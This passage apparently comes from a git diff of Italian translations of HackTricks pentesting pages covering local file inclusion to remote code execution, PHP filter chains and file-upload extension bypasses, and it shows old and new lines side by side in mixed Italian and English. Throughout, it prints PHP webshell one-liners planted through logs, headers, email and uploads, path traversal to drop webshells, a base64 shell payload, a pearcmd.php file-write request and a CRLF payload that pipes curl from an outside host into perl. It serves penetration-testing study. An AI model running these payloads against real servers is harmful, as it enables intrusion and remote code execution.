In sintesi, la tecnica utilizza la codifica **"UCS-4LE"** per rendere il contenuto di un file così **grande** che la **PHP function** che apre il file innescherà un **errore**.
Poi, per leak del primo char viene utilizzato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**.
Poi, per ottenere il leak del primo char viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**.
**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -427,20 +427,20 @@ Per i dettagli tecnici controlla il post menzionato!
### Arbitrary File Write via Path Traversal (Webshell RCE)
Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata inserendo una webshell.
Quando il codice server-side che ingests/uploads file costruisce il destination path usando dati controllati dall'utente (es. un filename o URL) senza canonicalising e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se riesci a posizionare il payload sotto una web-exposed directory, di solito ottieni una unauthenticated RCE droppando una webshell.
Workflow tipico di sfruttamento:
- Identifica una primitive di scrittura in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
- Determina le directory esposte al web. Esempi comuni:
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot, e includi il contenuto della tua webshell.
- Naviga fino al payload droppato ed esegui comandi.
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Note:
- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
- Negli stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Mitigazioni che contrastano questa classe di bug:
- Risolvere a un percorso canonico e garantire che sia un discendente di una directory base allow-listed.
- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire nomi di file generati.
- Eseguire il writer con un account a basso privilegio e segregare le directory di scrittura dalle root servite.
Hardening che neutralizza questa classe di bug:
- Risolvere in un percorso canonico e assicurarsi che sia un discendente di una directory base allow-listed.
- Rifiutare qualsiasi percorso che contenga `..`, root assoluti, o lettere di drive; preferire nomi di file generati.
- Eseguire il writer come un account a basso privilegio e segregare le directory di scrittura dalle root servite.
## Remote File Inclusion
Spiegato in precedenza, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire nel **user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire dentro il **user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
> [!WARNING]
> Nota che **se usi doppi apici** per la shell invece di **virgolette semplici**, i doppi apici saranno modificati nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente verrà eseguito**.
> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente altro verrà eseguito**.
>
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genera un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità.
Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.\
Altri possibili percorsi di log:
Questo può essere fatto anche in altri log ma **fai attenzione,** il codice dentro i log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato dentro i log. La PHPShell potrebbe essere inserita dentro questo header.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -497,41 +497,41 @@ Altri possibili percorsi di log:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Wordlist per Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere la mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
### Via /proc/*/fd/*
1. Carica molte shells (per esempio : 100)
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced)
1. Carica molte shells (per esempio: 100)
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere determinato via brute force) e $FD il file descriptor (può essere determinato via brute force anche questo)
### Via /proc/self/environ
Come un file di log, invia il payload nello User-Agent, verrà riflesso nel file /proc/self/environ
Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: `<?php system($_GET['c']); ?>`).
Se puoi uploadare un file, iniettaci semplicemente lo shell payload (es.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Per mantenere il file leggibile è meglio inserire nei metadati delle immagini/doc/pdf
Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf
### Via upload di file ZIP
Carica un file ZIP che contiene una PHP shell compressa e accedi:
Carica un file ZIP contenente una PHP shell compressa e accedi:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Tramite PHP sessions
### Via sessioni PHP
Verifica se il sito usa PHP Session (PHPSESSID)
Verificare se il sito web utilizza sessioni PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Via ssh
Se ssh è attivo controlla quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere **\<HOME>/.ssh/id_rsa**
Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
I logs per il server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui sia presente una vulnerabilità di Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
1. Inject a PHP payload into the username field during the login process.
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
1. Inietta un payload PHP nel campo username durante il processo di login.
2. Dopo l'iniezione, utilizza la LFI per recuperare i logs del server da _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro PHP base64 ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci una base64 che termina con ".php", il filtro ignorerà il "." e aggiungerà "php" alla base64. Ecco un payload di esempio:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -570,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (nessun file necessario)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters per generare contenuto arbitrario** as output. Which basically means that you can **generare codice php arbitrario** for the include **senza doverlo scrivere** in un file.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Il che significa sostanzialmente che puoi **generate arbitrary php code** per l'include **without needing to write** it in un file.
{{#ref}}
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, poi nella **stessa richiesta** causa un **segmentation fault**, e il **file temporaneo non verrà eliminato** e potrai cercarlo.
**Upload** un file che sarà memorizzato come **temporary** in `/tmp`, poi nella **same request,** provoca un **segmentation fault**, e allora il **temporary file won't be deleted** e puoi cercarlo.
{{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a **PHP** potresti ottenere **RCE** con la seguente tecnica:
{{#ref}}
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Se trovi una **Local File Inclusion** anche se **non hai una sessione** e `session.auto_start` è `Off`. Se fornisci la **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abiliterà la sessione per te**. Potresti abusarne per ottenere RCE:
Se trovi una **Local File Inclusion** anche se **don't have a session** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **enable the session for you**. Potresti abusarne per ottenere **RCE**:
{{#ref}}
@ -606,7 +606,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows**, potresti ottenere RCE:
Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere **RCE**:
{{#ref}}
@ -615,56 +615,56 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default in php docker images. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro dell'URL non ha un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da [**qui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Quanto segue sfrutta una CRLF vuln per ottenere RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### Tramite phpinfo() (file_uploads = on)
Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on, puoi ottenere RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Tramite compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Se trovi una **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere abbia marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
Se trovi una **Local File Inclusion** e puoi **exfiltrate the path** del temp file MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### Tramite eternal waiting + bruteforce
Se puoi abusare della LFI per **caricare file temporanei** e far sì che il server **blocchi** l'esecuzione PHP, potresti poi **forzare i nomi dei file per ore** per trovare il file temporaneo:
Se puoi abusare della **LFI** per **upload temporary files** e far **hang** l'esecuzione PHP, potresti poi **brute force filenames durante ore** per trovare il file temporaneo:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Verso un Fatal Error
### Per causare un Fatal Error
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per far scattare quell'errore).
Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore).
**Non so quanto possa essere utile, ma potrebbe esserlo.**\
_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
**Non so quanto questo sia utile ma potrebbe esserlo.**\
_Anche se provochi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Riferimenti
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +673,7 @@ _Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono elimi
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

38
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -2,38 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **i filtri php per generare contenuti arbitrari** come output. Questo significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
## Introduzione
Fondamentalmente, l'obiettivo dello script è **generare una stringa Base64** all'inizio del file che sarà **finalmente decodificata** fornendo il payload desiderato che sarà **interpretato da `include`**.
[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters** per generare contenuto arbitrario come output. Questo fondamentalmente significa che puoi generare **php code** arbitrario per l'include **senza doverlo scrivere** in un file.
Le basi per fare questo sono:
L'obiettivo dello script è **generare una stringa Base64** all'**inizio** del file che verrà **finalmente decodificata**, fornendo il payload desiderato che verrà **interpretato da `include`**.
- `convert.iconv.UTF8.CSISO2022KR` premetterà sempre `\x1b$)C` alla stringa
- `convert.base64-decode` è estremamente tollerante, ignorerà fondamentalmente qualsiasi carattere che non sia un base64 valido. Presenta alcuni problemi se trova "=" inaspettati, ma questi possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`.
Le basi per farlo sono:
Il ciclo per generare contenuti arbitrari è:
- `convert.iconv.UTF8.CSISO2022KR` prependerà sempre `\x1b$)C` alla stringa
- `convert.base64-decode` è estremamente tollerante: essenzialmente ignorerà qualsiasi carattere che non sia un carattere base64 valido. Può creare qualche problema se trova un "=" inatteso, ma questi possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`.
1. premere `\x1b$)C` alla nostra stringa come descritto sopra
2. applicare una catena di conversioni iconv che lascia intatta la nostra base64 iniziale e converte la parte che abbiamo appena premuto in una stringa dove l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64
3. decodificare in base64 e ricodificare la stringa che rimuoverà qualsiasi spazzatura nel mezzo
4. Tornare al punto 1 se la base64 che vogliamo costruire non è ancora finita
5. decodificare in base64 per ottenere il nostro codice php
Il ciclo per generare contenuto arbitrario è:
1. aggiungi `\x1b$)C` all'inizio della nostra stringa come descritto sopra
2. applica una catena di conversioni iconv che lascia intatto il nostro base64 iniziale e converte la parte che abbiamo appena preapposto in una stringa in cui l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64
3. decodifica base64 e codifica di nuovo in base64 la stringa, il che rimuoverà qualsiasi "garbage" nel mezzo
4. torna al punto 1 se il base64 che vogliamo costruire non è ancora completo
5. decodifica base64 per ottenere il nostro php code
> [!WARNING]
> **Include** di solito fanno cose come **aggiungere ".php" alla fine** del file, il che potrebbe rendere difficile lo sfruttamento di questo perché dovresti trovare un file .php con un contenuto che non uccida l'exploit... oppure **potresti semplicemente usare `php://temp` come risorsa** perché può **avere qualsiasi cosa aggiunta nel nome** (tipo +".php") e permetterà comunque all'exploit di funzionare!
> Gli include di solito fanno cose come aggiungere ".php" alla fine del file, il che può complicare l'exploitation perché dovresti trovare un file .php con un contenuto che non uccida l'exploit... oppure puoi semplicemente usare `php://temp` come risorsa perché può avere qualsiasi cosa aggiunta al nome (es. lie + ".php") e permetterà comunque all'exploit di funzionare!
## Come aggiungere anche suffissi ai dati risultanti
[**Questo writeup spiega**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come puoi ancora abusare dei filtri PHP per aggiungere suffissi alla stringa risultante. Questo è ottimo nel caso tu abbia bisogno che l'output abbia un formato specifico (come json o magari aggiungendo alcuni byte magici PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come è ancora possibile abusare dei PHP filters per aggiungere suffissi alla stringa risultante. Questo è utile nel caso in cui l'output debba avere un formato specifico (per esempio json o aggiungere alcuni magic bytes di PNG).
## Strumenti automatici
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(può aggiungere suffissi)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Full script
## Script completo
```python
import requests
@ -95,7 +96,7 @@ print(r.text)
```
### Miglioramenti
Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Pertanto, ho creato il mio script per **bruteforce tutti i caratteri base64**:
Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Perciò, ho creato il mio script per eseguire un **bruteforce di tutti i caratteri base64**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
Ecco lo **script** per ottenere le codifiche che generano ciascuna lettera b64:
Ecco lo **script** per ottenere le codifiche che generano ogni lettera b64:
```php
<?php
@ -253,6 +254,7 @@ find_vals($init);
## Ulteriori Riferimenti
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

195
src/pentesting-web/file-upload/README.md
View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Metodologia generale per il File Upload
Altre estensioni utili:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Altre estensioni utili:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Bypass dei controlli sulle estensioni dei file
1. Se applicabile, **controlla** le **estensioni precedenti.** Provale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
1. Se applicabile, **controlla** le **estensioni precedenti**. Testale anche usando qualche **maiuscola**: _pHp, .pHP5, .PhAr ..._
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
- _file.png.php_
- _file.png.Php5_
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforceare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** già menzionate_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Altre estensioni utili:
- _file._
- _file.php...._
- _file.pHp5...._
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** del server con tecniche come **raddoppiare** l'**estensione** o **aggiungere dati spazzatura** (**byte null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell’**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,72 +43,72 @@ Altre estensioni utili:
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
- _es: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
6. Prova a mettere l'**estensione eseguibile prima** dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione** _**.php**_**, ma** non necessariamente terminante in .php** eseguirà codice):
- _ex: file.php.png_
7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe poi essere modificato usando altre tecniche come il short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern potrebbe essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”)
8. Prova a superare i limiti sul nome file. L'estensione valida viene troncata. E il PHP maligno rimane. AAA<--SNIP-->AAA.php
```
# Linux massimo 255 byte
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
